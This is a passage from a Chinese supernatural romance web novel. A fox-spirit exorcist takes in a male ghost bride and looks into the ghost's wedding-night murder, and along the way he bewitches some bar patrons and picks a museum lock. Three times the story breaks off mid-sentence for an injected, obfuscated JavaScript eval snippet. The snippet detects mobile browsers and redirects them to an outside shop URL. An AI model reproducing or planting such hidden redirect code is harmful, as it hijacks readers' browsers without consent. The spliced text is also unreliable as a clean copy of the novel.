《诡新娘共居指南》 1. 第 1 章 夜色沉沉，晚风呜咽。 毛月亮随着云雾若隐若现，照着满地荒草，照不亮一座阴森古宅。 林疏背对着微弱月光下的宅门，低着头掐算时间。 按照卷宗上所说，夜里十二点，这处古宅，会重新“活”过来。 而他的目标，就在这宅中。 林疏已经在这古宅门口等了很久。 今晚天色很不好，古宅附近又荒废多年，就连风吹过荒草地，都会留下一阵呜呜咽咽的风声。 如果林疏不是干这行的，路过此地，他恐怕要直接拔腿就跑。 乌云很快将月亮完全吞进去，林疏知道时辰快到了。 他正要回身，恍惚间，身后似乎有灯火燃起，将他的身形照出一个朦胧的影子，映在他身前。 端的是身姿挺拔，腰身纤细。一身道袍飘逸，绝世无双。 林疏欣赏了一番自己的绝美影子，再回头一看—— 那大门前悬挂的两只破烂灯笼，不知何时已幽幽亮了起来。 也照亮了古宅门框上不知何时出现的匾额：穆宅。 有锣鼓声伴随着人声忽远忽近，吵吵嚷嚷，从院子里传出来。 林疏心想，这鬼还是个爱热闹的。 他闭上眼，心中默念几遍法决，片刻后睁开眼睛，就朝着这宅子已然大开的宅门走去。 深宅之内，四处挂着大红灯笼，铺着殷红地毯，朱红柱子上挂着彩色的飘带。 门里是灯火通明，门外是宾客纷至。 两个身穿华丽唐装的清朝长辫中年人还站在门口迎客。 宾客们从四面八方走来，林疏也跟着他们一起，走到那迎客的男人面前。 林疏一张清俊面孔在灯笼的暖光之下，显得无害又迷人。他眨着一双清润黑眸，微笑着拱手道：“在下执风子，恭贺穆府大喜。” 迎客的穆老爷好像没什么自主意识，对所有人都是一个笑脸：“欢迎，欢迎，请进请进。” 林疏掸了掸道袍，就进了门。 宅子里也是热热闹闹，他随着人群进了宴厅，很自来熟地寻了位置坐下。 不多时，就听见外头喜婆高声道：“新娘子到啦！” 林疏马上起身，伸长脖子朝外看，就见新娘子在喜婆引领下缓步迈进宴厅。 凤冠霞帔，弱柳扶风，仪态万千，只是……个子颇高。 从她进门，林疏的目光就没有从她身上移开过。 丝毫不觉得盯着别人的新娘子看有什么不妥。 眼看新娘子上了正堂，夫家——穆老爷却叫人抱了一只鸡出来。 公鸡拜堂…… 林疏眉毛一挑，却没有笑，也没跟着身边的宾客们窃窃私语，只是盯着新娘子看。 新娘子顺从地跟着证婚人的唱词拜天地。 待到夫妻对拜时，林疏突然站了起来。 身边的宾客惊疑道：“这道士干什么去？抢亲吗？” 林疏大步跨过去，伸手将新娘子手腕一抓。 新娘子惊得“嘤”了一声，旋即盖头飘落。 林疏面无表情，抓着比他还高的新娘：“有人状告你夜夜喧哗，请跟我到灵调局走一趟。” 顿时宅子里飞沙走石，乌烟瘴气。林疏岿然不动，而热闹婚宴已然烟消云散。 只余林疏抓着的新娘子还站在他面前，盖头底下，是一脸惊恐的美艳女……男鬼。 …… “不是说是个新娘子吗？”档案处的小纪哭丧着脸，“男的也能当新娘子吗？？” 林疏已经拿个葫芦把鬼新娘带回了他的直属单位“灵异案件调查局”，眼下刚刚交给收容处拍照登记建档。 但档案处的小纪脸都已经绿了。 林疏抱着手臂靠在墙边，看着灵调局的工作人员忙里忙外，用特制照相机给鬼新娘拍照。 而那男鬼新娘满脸晦气，脸色发黑。 小纪抓狂：“这怎么入档啊！新娘鬼一般都是归女鬼收容部，他一男的，案卷发过去大概率会被总部那些鼻孔朝天的打回来……到时候过了48小时羁押时间还得申请锁灵瓶安置他，又是一笔费用……” 林疏随口道：“那问问灵协办呢？” 小纪赶紧道：“放尊重点！人家是‘灵异案件协助调查办公室’……办公室林主任上个月就请病假了，而且顾局说了这几个月没事别找灵协办，啊啊啊我的头发，我的月末奖金……” 林疏终于舍得将眼睛从鬼新娘身上拔下来，刻薄地扫了一眼小纪手里的笔录，盯着上面的姓名一栏，答非所问道：“他说他叫穆羽？” 小纪茫然道：“有什么问题？” 林疏一哂：“我是在穆宅抓到他的。” 小纪后知后觉道：“穆宅？新娘姓穆？” 林疏又重看向里面，鬼新娘已经背过身去，屈辱地抬起双臂，被仪器扫描。 林疏目光落在鬼新娘的腰上，片刻后道：“批不下来也没事，我可以替你们收容他一阵子。” 小纪哦一声，半天才后知后觉林疏是在回答他上一个问题。 遂警惕道：“你干什么，他是男鬼，不是男人。” 林疏笑得眉眼弯弯：“怎么，我帮忙收容而已，又不对他做什么。” 小纪点点头：“确实，人家比你高起码十公分。” 林疏：“……？” 眼见特派天师要暴走，小纪赶紧顺毛道：“好好好，又像你亡夫是吧，莞莞类卿，我懂我懂。” 林疏：“……” 对于这位特派天师林疏，鹤城灵调局的大家都多少有些一言难尽。 林疏刚调任过来时，大家都觉得眼前一亮。 这位天师是灵调局局长的嫡传弟子，却温和清正，没有架子，该有的人情世故都很到位。 长得也好，肤白如玉，面容清纯，属于发到短视频平台会让人一眼万年的那种纯欲系帅哥， 形象气质都非常符合他的本体—— 是的，林疏的本体并不是人，而是一只走正统修行道路的天狐。 不是普通的狐狸喔！是天狐，是神兽的后裔。 由于道法精湛，他接替已故的前一任特派天师，来到这个祖上曾有大魔栖息的“多事之地”鹤城，进驻灵调局。 作为局长嫡系，他本该众星捧月，但身为狐狸的本性，让他天生懒怠。 踩点上班，下班就跑，而且非常大大咧咧地——当众出了柜。 犹记得那天，办公室的热心苗姨想把楼下的玄女传人介绍给林疏。 林疏对着苗姨笑得如沐春风，然后张口就是：“谢谢您为我操心，可我已经结婚啦。” 苗姨：“……啊？可是小狐狸，你今天才多大！” 林疏腼腆一笑：“我二十多年前就结过婚啦，不过亡夫死得早，我还放不下他，所以……” 苗姨神情错乱：“亡夫……” 很好，英年早婚，青年丧偶，还是个基佬。 林疏还在忧郁地微笑：“苗姨，我是gay，亡夫也是男人，苗姨你不会嫌弃我吧？” 苗姨本能地摇头。 这都什么年代了，喜欢男的女的谁也管不着，没人会说什么。 苗姨甚至觉得很时髦，因为灵协办的主任和灵调局的局长也是一对同性夫夫。 只是可惜，这林疏看起来年轻水灵……谁能想到他已经死了老攻？ 苗姨还听说狐族是专情的动物，譬如灵协办林主任，也是天狐，也情比金坚，和身为凡人的顾局伉俪情深，不离不弃。 顿时局里远近的大姨都对林疏充满了怜爱。 ……可是时间久了大家发现，林疏这个思念亡夫，属于是……口头思念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883350|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位清正天师，上班时道貌岸然一表人才。 下班后，就把道袍一卷，仙风道骨的样子荡然无存。 只要是出了灵调局范围，就开始四处放电。 不是给漂亮男生看手相，就是含着笑望着人家眼睛，给人家算流年。 被小男生要微信也从来不拒绝，一周有七天下班后就跟漂亮男生去泡吧喝酒唱歌吃饭。 漂亮男生还天天不重样。 大姨们滤镜稀碎，有好奇者私下里问起他为何如此花心，他给出的缘由都只有一个：那人，与亡夫神似。 莞莞类卿，渣男中的战斗机。 此番男新娘无处安放……小纪抬头看了看审讯室里的男新娘，虽然面色青了点，头发长了点，衣服破了点，但，是真的好看啊！ 和林疏温柔清纯的俊美不同，里头那位男新娘，端的是浓颜春色，朱唇皓齿，艳丽无匹。 一双凤目似嗔非嗔，两片红唇似笑非笑。 鼻子精致挺拔，下颌线清晰完美，漂亮得很有攻击性。 无怪他穿着喜服也不显得怪异，实在是美得模糊了性别。 就连小纪一个直男看久了也觉得心怦怦地跳。 直觉这位美艳男鬼要羊入虎口了，小纪唏嘘一番，手指已经非常诚实地开始开条子。 开到一半，他突然怔住，反问了林疏一句：“姓穆？” 林疏点头：“你口供上写着。” 小纪低头看了一眼，又道：“穆宅？” 林疏点头：“宅子门口的匾上是这么写的。” 小纪倒吸一口冷气：“这不对吧……这新娘子不是嫁到穆府的吗？应该是外姓才对，报虚假姓名的话，他的领养……呃，保释手续可办不出来。” “里头不是有讯问阵法吗？”林疏漫不经心道，“他说不出假话吧。或许就是同姓不同宗呢，也可能是穆家兄弟自己搞骨|科，不然那年代谁家会大张旗鼓娶个男媳妇回来。” 小纪惊得目瞪口呆：“哎哎哎，你也别太口无遮拦！就算……是这么回事吧，你不是在婚礼上直接把他抓回来的？新郎长什么样你总看到了吧，跟他像吗？不会吧不会吧，真是兄弟啊……” 林疏斜睨他一眼，嗤笑道：“婚礼是个幻境，拜堂的新郎是只公鸡。” 小纪：“……新郎死啦？他是配冥婚吗？” 林疏无奈道：“你鬼片看多了吧？古代用公鸡拜堂，只是新郎回不了家或者生病了起不来床，并不一定是死了。” 正说着，里头拍照拍完了，名叫穆羽的鬼新娘被缚灵索绑着双手带了出来。 林疏倚在门边，微微蹙着眉，与鬼新娘对视。 穆羽一看见林疏就怒不可遏：“臭道士你给我等着！总有一天你要落在我手里！” 那样漂亮的面孔，生起气来真是显得格外鲜活动人。 若不是满脸死气，他生动得都不像一个鬼。 林疏就双眸含笑看着他，与小纪交换了个眼神，上前接过了审理员手中的缚灵索：“那你做好心理准备，你现在落我手里了。” 穆羽看着眼前小天师笑眼弯弯的模样，脸顿时气得狰狞起来，漆黑指甲暴涨到五寸长。 眼看血泪就要从眼眶里流出，林疏突然伸出手，将一张朴素的黄符贴在了穆羽额头上。 刹那间，穆羽脸上怨气尽消。 他愕然地看了看林疏，又看了看自己的手，露出个气急败坏的表情来。 一旁的小纪啧了一声，感叹特派天师就是不一样。 出手仅是黄符就有如此威力，将那鬼新娘的怨气尽数驱散了。 他目送林疏牵着鬼新娘去办保释手续，然后低头看着审理员交给他的档案照片和仪器胶片，慢慢翻阅。 突然，他眉毛一挑，目光捕捉到一个关键词： 血孽。 2. 第 2 章 既然要收容鬼新娘，自然要带回家。 林疏索性就把穆羽又装回了他腰上那个大葫芦里。 葫芦口用符纸一封，穆羽气得在葫芦里横冲直撞：“臭道士！你有能耐把我放出来！！看我不生吞了你……” “省省吧，等我到了家，就放你出来。”林疏笑着把葫芦挂在腰带上，推门出了灵调局。 离开空调房，林疏的汗瞬间冒了出来。 抓完鬼新娘已经是深夜，但鹤城城市化严重，哪怕郊区也是铜皮铁骨。 经过一天的太阳暴晒和空调外机排放，凌晨一点，温度也高达35℃。 林疏擦了把汗瞪大眼睛，在茫茫车海里寻找自己的四手飞鸽自行车。 他是今年六月才空降的灵调局，在此地没房没车，至今租住郊区，上下班都得靠代步工具。 灵调局工资低，毕竟大家都赚外快——在座的各位大神，谁没有点算卦扶乩镇宅聚财的本事呢？ ……除了林疏。 他只是个狐狸，而且懒，吃了今天没明天，月月工资月月光。 上班两个月了，连个电动车都换不起。 林疏顶着三十多度的高温，穿着一身又长又厚的破道袍，骑着自行车艰难爬坡。 只骑了几分钟，他就汗如雨下，也没有手去擦，就由着热汗从额头滑落到下巴，又顺着喉结流淌进道袍的衣领，留下水润的痕迹。 到家的时候，他一身衣服已经湿了一半。 把葫芦口的封印一拍，林疏也不回头看，径自脱了道袍，就穿着一身湿透的单衣冲进卫生间去了。 这还是照顾新房客，不然他早就脱光了，狐狸也是很怕热的。 穆羽从葫芦里爬出来，一脸的青黑晦气。 见林疏顾不上他，他马上试图穿墙跑路。然后咚一声，漂亮男鬼差点撞断了鼻子。 卫生间里传来哗哗水声，和林疏心平气和的敬告：“屋里有法阵，你出不去，除非我带着你。而且，在这儿你和我一样，是有实体的，小心撞断鼻骨，医院可不给鬼整容。” 穆羽愤怒道：“你凭什么关着我！我做鬼也是个普通鬼，没干伤天害理的事！” 过了好一会儿，林疏的声音才朦朦胧胧的传来，像浸在水雾里一般：“普通鬼都老老实实投胎去了，你滞留人间，满脸戾气，还需要我来告诉你你做过什么吗？” 说罢，他不理穆羽了，安安静静洗自己的澡。 穆羽站在原地气得发抖，死死盯着磨砂的玻璃门。 而林疏有些纤细柔韧的身形倒映在玻璃上，透出一个非常模糊的、但又非常吸引人视线的轮廓来。 穆羽的喉咙一哽，骂人的话却说不出来了。 他有一种非常奇怪的感觉，明明那天师就只是毫不做作在冲澡，甚至还弯腰搓脚。 但他就是觉得被诱惑了。 半晌，林疏围着浴巾出来了，看到的就是穆羽若有所思站在阳台上向外看的模样。 听到他出来了，穆羽回头，斜睨了一眼林疏还在滴水的上半身，冷笑了一声：“如果可以，我还真希望你能告诉我我到底做了什么。” 林疏非常自然道：“要看就大大方方的看。” “？”穆羽瞪大漂亮的眼睛道：“你怎么不正经！” 林疏道：“正什么经，为什么要正经，我年轻又英俊，你爱看也正常。” 穆羽：“……” 他惊奇地走过来，用冰凉青白的手指戳了戳林疏的胸肌，道：“我以为你是个古板无趣的冷面天师，没想到这么不要脸？” 他本就明眸皓齿，此刻贴近了，美貌更惊心动魄了许多。 林疏感觉自己被美貌谋杀，赶紧拨开他的手指，装作道貌岸然的样子：“要脸的人在这个时代活不下去。” 穆羽努力压着火气道：“你还没回答我呢，我到底做过什么伤天害理的事，竟然被困在新婚那天几百年不得解脱。” “你扰民了。”林疏转身去拿短毛巾擦头发。 “别拿这套说辞敷衍我，穆家老宅周围早就没人住了！”穆羽不依不饶。 林疏已经打开了电吹风，嗡嗡的声音盖住了穆羽的控诉。 穆羽气得直接一拳挥了过去，结果打了个空——这会儿他倒是没有实体了，根本碰不到林疏。 他一转念，又去穿墙，结果又碰到了鼻子。 可恶的臭道士！！！ 林疏吹完了头发，转身，对穆羽招招手。 穆羽已经不想理他，就靠在墙上生闷气。 林疏招手的动作让他怒火更甚，强烈的阴气便从他身上散发出来，屋内气温顿时下降了起码十度。 林疏好脾气地去就山，走过去拍拍他的肩膀道：“既来之则安之，我家里没有空调，以后制冷就麻烦你了。” 穆羽：“？？？”有病吧这人？让他拿阴气来制冷？？？ 林疏却弯弯眼角，用非常和煦的嗓音道：“普通鬼也有滞留人间的情况，多半是心愿未了。那么你告诉我，你的心愿是什么？” 穆羽抱着臂本来不想理他，听了这话，神色却有松动。 只是他实在记不住当年事，只得稀里糊涂地凭本能道：“我想看看我的新郎长什么样。” “……”林疏眨了眨眼，道：“它……花翎翅，大鸡冠子，尾翎油绿发亮。” “……我不是说鸡！！！”穆羽出离愤怒了。 林疏同情道：“那没办法，我只看到鸡。” 穆羽气得再也不搭理他了。 林疏觉得这会儿室温大概维持在20度了，遂神清气爽去写符。 穆羽不悦地瞪着他，越瞪，周身气温越低。 写了十来张，林疏思来想去，还是好心地对面壁的穆羽道：“你嫁人，对方却只出个公鸡，大概率是新郎病得下不来床了，怎么想也不会好看的。你就别执着了。” “不，不会的。”穆羽想也不想道，“我知道……我隐约知道，我嫁的是什么人，他是穆家小少爷，英俊潇洒，天之骄子。” “如今也黄土白骨了。”林疏咬着笔含含糊糊道。 穆羽不说话了。 林疏又写了了会儿，灵气都快写枯竭了，便又开始摸鱼。 朝着鬼新娘没话找话道：“你和……新郎，你们是相爱的吗？” 穆羽道：“废话，不相爱你会娶男媳妇吗？” 林疏坦荡道：“娶啊，好看我就娶，我是gay。” 穆羽：“给是什么？” 林疏道：“就是男人喜欢男人，女人喜欢女人，想喜欢什么就喜欢什么。” “啊……”穆羽愣了一下，又笑了，“真好，还有这种人，我也想做这种人。我和小少爷……” 他忽然又沉默了，黑发在脸颊旁垂落下来，笼着他美艳面庞，一片死寂。 林疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883351|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耐心道：“你和你夫郎相爱，那你怎么会不知道他长什么样？” 穆羽也不抬眸，只道：“就是不知道啊，我们是书信相通的。” 林疏惊得毛笔都掉了：“没见过面就爱得要嫁给他？以男媳妇的身份？” 穆羽红唇抿得紧紧的，没有回答这个问题。 林疏怜悯地看着他：“你是不是被骗了？” 穆羽不说话。 林疏唏嘘道：“执念不要这么深，被骗了还坚持要见人家一面，害得自己留在人间几百年不得解脱……” “他没有骗我。”穆羽忽然道。 林疏不说话了。 穆羽仍低着头：“他不会骗我。” 林疏悻悻道：“恋爱脑。” 穆羽没说话。 和漂亮鬼新娘的交流结束了，林疏的符也写完了。 他抬头看了看外头月亮的高度，又看了看手机，已经快到两点了。 “今晚带你出去玩，”他打开床边大衣柜的门，“来挑一身衣服换上。” 穆羽看了看身上有些破洞的新娘吉服，冷冷道：“我这身挺好的。” 林疏扭头看鬼新娘，确实挺好的。 配上那张鬼气森森的脸和贞子同款黑长直，直接就可以去鬼片片场再就业了。 “穿这个吧。”林疏拿出一件衬衣，一条破洞牛仔裤，“你比我高，穿着可能会有点小。晚上再带你剪个头。” 穆羽炸了：“我不剪头发！” 林疏：“现在的男人很少留长头发，不方便，也怪异。多数都是像我这样的。”林疏的头发非常潮，是那种流量男团同款的微卷中分短发，衬得他更是清纯貌美。 穆羽摇头：“我不剪。” 林疏：“你长这个模样，再留个长头发，别人会把你当T。” 穆羽：“T是什么？” 林疏：“女同里的主导人。” 穆羽没完全听懂，但从林疏的表情里看懂了。 穆羽脸黑了。 但他还是不愿剪头，只答应穿林疏给的衣服。 虽然都是男人，但林疏觉得以两个人的性向来说，自己还是应该避开穆羽换衣服。 然而穆羽坦荡荡的直接就脱了。 林疏便看见穆羽胸口有一个漆黑的伤口，能看出伤得很深，是致死伤。 穆羽见林疏盯着他的伤口，也不回避，只道：“我就是这么死的，有人用龙凤花烛的烛台刺死了我。” 新娘子，死在新婚之夜的洞房中。 胸口插着原本象征夫妻和睦白头偕老的花烛烛台。 林疏不知该怎么说，是安慰还是替他分析一波凶手。 他张了张口，没能发出声音。 穆羽却只是用手摸了摸那黑黑的伤口，长长的睫毛低垂着：“早已不痛了，也不会流血了，不会弄脏你的衣服。” 林疏只得道：“我不是担心这个。” 穆羽扯走林疏一根道士头带自己扎了头发，又换好了衣服，自己低着头笨拙地系扣子。 林疏盯着他看了一会儿，走上前给他整理衬衣的领口。 穆羽不自然地微微扭开头，林疏身上散发着非常浅的甜香，似花蜜，似柑橘，想细闻却又没有了。 而林疏已经把他的领子翻出来，还在他心口画了一道符。 这样穆羽身上的阴气就全部被抑制住了，使他看起来像个活人。 3. 第 3 章 林疏满意地打量穆羽一番，不得不承认，穆羽的样貌确实美到极致。 虽然艳丽无匹，却不带一丝女气，换上男装反多了一丝英气。 这样想来，他死的时候才十七八岁，正是青葱少年，合该俊朗非凡。 林疏又给了他一副平光眼镜遮掩黑眼圈，在夜色掩盖下，他看着就是个活人。 还是个不羁的长发|浪子，很俊美的那种。 林疏便满意地将缚灵索拴在穆羽一只手腕上，另一头系在自己手腕。 普通人眼里看不见缚灵索，也就没人知道他们的所属关系。 但缚灵索也有其长度，他们不能分开太远。 今晚两点，林疏是有约的。 一个还在读大学的小男生约林疏泡吧，林疏自是欣然同意。 只是没想到今天身边会多一个人。 在鹤城十三行街，林疏站在酒吧对面四处寻找。 很快他就看到了目标，指着对穆羽道：“那就是我的朋友。” 那名男大学生正站在酒吧门口等，他穿一身优1库联名款，脚上是配色很彰显青春活力的一款aj，一头蓝绿相间的短发，下巴纹着个十字架，戴四个耳扣。 看得穆羽直蹙眉。 男孩本来也是清秀精致的长相，站在酒吧门口等人，少不了要被人搭讪。 林疏到的时候，那男生身边就有两三个搭讪的。 林疏笑眯眯朝那边走过去，隔着人叫男生的名字：“小轩！” 小轩听到这声，眼睛一亮，就不管不顾拨开身前挡着的人：“我哥来了！哥我在这里！” 那些人不情不愿让开一看，就见一个不比小轩高多少的清秀小白脸过来了。 身后还跟了个不男不女的……呃，大美人。 “哟，这不是林先生吗。”其中一人认出了林疏是这儿的常客，调笑道，“上次你来，带的不是这俩人吧。” 林疏眼睛笑得弯弯的：“上次是另外的朋友。小轩，过来。”他牵起小轩的手，“跟哥哥们再见。” “哥……哥哥们再见。”小轩硬着头皮道。 林疏领着小轩就要往吧里走。 穆羽不咸不淡地看了一眼两人握在一起的手，跟着要进去。 “哎，”那个认出了林疏的人却伸手拦住了穆羽。 林疏和穆羽的手腕绑在一起，穆羽停了，林疏便也停了。 “林先生还没介绍介绍，这是谁啊？”那人不怀好意地上下打量穆羽。 真好看，太好看了，这么好看的人……大街上是见不到几个的，只有电视上才有。 难道是什么明星？ 林疏回头，看了穆羽一眼，见穆羽非常不耐烦，身侧的手上指甲也都暴涨起来，马上道：“这是我弟。” “一个两个都是你弟，林先生好艳福啊。”男人伸手就要去摸穆羽颊边的那缕长发。 “这样不好吧。”林疏赶过来拦住了那只手。 穆羽的青黑指甲已经很长，他一动没动，就等着那人来摸他的头发。 见林疏拦住，他看了林疏一眼，没动手。 林疏叹了口气，道：“这是我亲弟弟，从老家来的，不懂鹤城的规矩。要不，一起进去吧？我请你们喝两杯，就当交个朋友。” 那人眼睛亮了，回头道：“走吧哥几个，林先生请客，不能不给面子啊。” 于是一行人进了酒吧。 林疏依旧牵着小轩，进去之后找了个没什么人的卡座，叫了两打香槟。 穆羽不喜欢酒吧里跳跃的彩灯，才一进去，就别着脸，表情臭得吓人。 林疏也不搭理他，笑眯眯地开酒，然后殷勤地给“新朋友”们倒酒。 一人一杯，在林疏别有用意的微笑中，这几个人都慢慢放下了酒杯。 目光直愣愣的，就像中了什么术，定在了原地。 林疏轻嗤了一声，让小轩去外面等他。小轩不明所以，一步一回头地出去了。 见小轩看不到这边了，林疏一抬手：“winter，再来两打香槟。” 香槟送到了，林疏笑嘻嘻全开了。 然后点了点那个试图摸穆羽头发的男人，“帐记在他身上。” 那男人眼珠一动不动，就是点头。 而林疏说完，只等服务生离开，就牵着无形的缚灵索扯住身后的穆羽，又离开了这间酒吧。 那几个人就木呆呆地坐在原处，也不动，也不说话。 路灯底下，穆羽总算喘上来一口气…… 虽然他一个死人也用不着喘气，但里面实在太难闻了。 林疏正跟小轩说话：“以后这个酒吧别来了，那几瓶酒一千二，他们不会善罢甘休。” 小轩低着头，眼神不时瞄在旁边的穆羽身上。 小轩能看出来，林疏本来没想得罪人，是打算含糊过去的。 之所以后来跟这群人一起，是因为他们想动林疏带来的这个男的。 小轩问道：“他……真的是你弟弟吗？” 林疏笑了，道：“你看我俩长得像吗？” 小轩：“不像。” 林疏暧昧地道：“哪有一点都不像的亲兄弟呢？” 小轩扁扁嘴。 林疏温和道：“回去好好上课，把下巴上的纹身贴洗了吧。” 小轩惊讶道：“你怎么知道是……” 林疏道：“你是什么孩子，我还不知道吗？” 小轩终于忍不住了，满脸的不平：“你为什么总是一副……总是一副，你比我大很多的样子，明明我们没差几岁！” 林疏愣了一下，笑道：“怎么没差，你今年满二十了吗？” 小轩道：“我都二十二了！” 林疏笑道：“我都二百二了。” 小轩无奈道：“没跟你开玩笑！我就是想……我想……” 林疏不笑了，还叹了口气：“你想跟我谈恋爱。” 小轩不说话了。 林疏道：“你知道我是什么人吗？” 小轩道：“你，你成年了，上班了，是个打工人。” 林疏又乐了。 他拍了拍小轩的肩膀：“今天答应出来见你，就是想告诉你，你这样的小孩太容易被骗了，社会上的骗子很多。就算是ho-mo，找对象也要好好挑一挑，不是长得好看就一定是好人。” “他就长得好看……”小轩下意识去看穆羽。 穆羽站在路灯下，正低着头看手腕，闻声递过来一个冷漠的眼神。 美人就是美人，穿着不太合身的衬衣，头发乱七八糟扎在脑后，顶着仿佛一个月没睡觉的黑眼圈，依旧是美人。 林疏道：“没错，他就不是好人。” 小轩：“……” 穆羽：“………” 林疏道：“你看，我来赴你的约，他还非要跟着。” 一旁的穆羽忍无可忍：“是我非要来的吗？” 林疏忙安抚道：“不是你，是我，我绑着你来的。” 穆羽这才把撸起的袖子放下了。 他俩都知道林疏说的是物理实情，可看在小轩眼里，又成了另一种实情。 就是他不知好歹勾搭了有男友的林疏，林疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883352|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推不过就来赴约。 结果人家的正宫就跟来了，来看看勾搭自己男人的小骚|鸡是什么样子。 想到这小轩羞愧得脸都红了。 林疏尚没明白小轩为什么脸红，小轩已经弯腰鞠躬说对不起我没那个意思然后迅速打个车跑了。 林疏：“……” 林疏悻悻道：“现在的小孩真难搞。” 穆羽翻个白眼：“回家？” 林疏摇头：“还有一件事。” 他也到路边，打了个车，把穆羽塞在后座，然后自己也跟着进去了。 两个大男人挤在后座，穆羽有些嫌弃地往里坐了坐，不愿意跟林疏贴着。 林疏无知无觉，他往前探头，跟司机道：“麻烦师傅到西芹路。”说完手还放在了穆羽大腿上。 穆羽盯着那覆在自己大腿上的手，浑身直发毛。 他忍了半天，还是没忍住，一巴掌将林疏的手拍了下去。 林疏莫名其妙：“摸下大腿怎么了？” 穆羽：“你这娘们唧|唧的……” 说到一半他突然意识到自己也是个死gay，顿时就不说了。 西芹路是条入了夜就黑灯瞎火的路。 这条路上没什么商铺，过了河是一个被院墙围着的大院子，里头是鹤城本地一家规模不大的博物馆。 放着些关于这个城市的历史，各大家族的兴衰，以及家谱和照片之类的资料。 等林疏说明了这博物馆的馆藏，穆羽突然就明白了什么。 博物馆的闭关时间是下午六点半，此刻早已黑灯瞎火关窗锁门。 林疏拉着穆羽绕到后门，伸手拿出一枚曲别针。 穆羽：“……” 堂堂灵调局特派天师林疏，半夜领个鬼去撬人博物馆的门。丢不丢人！ 鬼鬼祟祟进了博物馆，又绕了两个展厅，林疏终于领着穆羽进了穆氏宗祠展厅。 鹤城的穆氏家族在三十三年前就败落了，仅剩的后人将家谱和老宅都捐给了这家博物馆，然后远走他乡。 鹤城早已没有了穆家。 本来穆家老宅也要被改成博物馆的分馆，但只破土动工了三天就不了了之了。 林疏合理猜测这与鬼新娘夜夜笙歌有关。 当然这都不重要。 重要的是，穆家的传承与资料——包括照片资料，现今都在这博物馆的展厅里。 林疏三下五除二开了玻璃展柜的锁。 先是取出家谱，隔空画了道符将脆弱纸张保护起来， 然后用手机电筒照明，拉着穆羽一起翻看。 从服装上来看，穆羽成亲的年代恐怕是晚清。 林疏也在赴宴的人里看到了穿洋装梳短发的男人和辫子头并行，而穆羽说他的夫婿是“小少爷”。 综上所述，他嫁的人大概不是独子，而时间在咸丰年间至清末期。 原以为会是个很大的工作量，但林疏照着家谱看了一会儿，就发现穆家族谱的内容很耐人寻味。 首先，从乾隆年起始，穆家子嗣就十分凋零，无论本家还是旁系，都是一根独苗苗。 唯一出现两个儿子的那一代，是“绍”字辈，两子都出生在咸丰年间。 而从绍字辈往后，穆家竟然断代了。 是由海外一支穆家旁系回来继承了宗祠，才将族谱续下去。 至于那两个绍字辈的少爷，大的叫穆绍柏，小的叫穆绍棠。 林疏对着族谱仔细看了看，发现这两兄弟的妻室都没有姓穆的。 穆绍柏的妻子姓陆，穆绍棠的妻子姓姬。 4. 第 4 章 这就有两种可能。 一是穆羽记错了，他并不姓穆，而是姓陆或者姓姬。 二是由于种种原因，穆羽并没能入族谱。 林疏个人觉得，第二种可能性更大。 穆羽居然表示赞同。 林疏遂看了一眼穆羽，见他脸上没有什么哀戚神色，奇道：“你不难过吗？” 穆羽诧异道：“这有什么好难过的？” 林疏：“……那我们直接去看照片。” 不是说古人对入族谱很看重吗！穆羽一定是个假的古代人……古代鬼。 三十三年前，穆家留下最后一张全家福。 再往前所有的照片，都一张一张整齐地贴在展览柜里。 穆家有全家福的时间并不早，最早一张也是在同治年间。 那时候照相技术才刚流入中国，寻常百姓家并不常见照相留念。 所以在穆家绍字辈，前后六十年，穆家就只有两张照片。 林疏翻来覆去确认了很久，终于在其中一张发黄的黑白合照里，找到两个男孩。 大一点的有十几岁了，面目模糊，站在两个大人中间。 另一个，直接就是角落里被旗装女子抱着的小儿。 林疏对穆羽道：“按照这个照片所示的年份，穆家少爷应该就是这两个，大一点的是穆绍柏，小一点的是穆绍棠。” 穆羽没应声。 林疏便看过去，发现穆羽站在另外一张照片前面，一动不动。 “怎么了？”林疏问道。 穆羽指着照片里的一团黑点白点，道：“这个是我。” 林疏对着照片看了又看，什么也看不清。 先前就是因为这张照片太花了，他只看了一眼就放弃了在上面找人。 鬼知道穆羽是怎么在一团马赛克里找到的自己。 穆羽接着说：“这是我成亲的那天。我……死之前。” 林疏：“你怎么看出来的……” 穆羽伸手：“你得站过来。” 男鬼的手冰凉冰凉的，落在林疏的脖子上揽他过去。 林疏心不由得一跳，心想这个男同还真是……一点也没有性别意识。 但很快他就没有闲心去想了，手机电筒的光被穆羽按灭，他看这张照片，借的是月光。 月光下那些黑白的花点居然有了轮廓，林疏眯着眼睛看了半天，突然一惊。 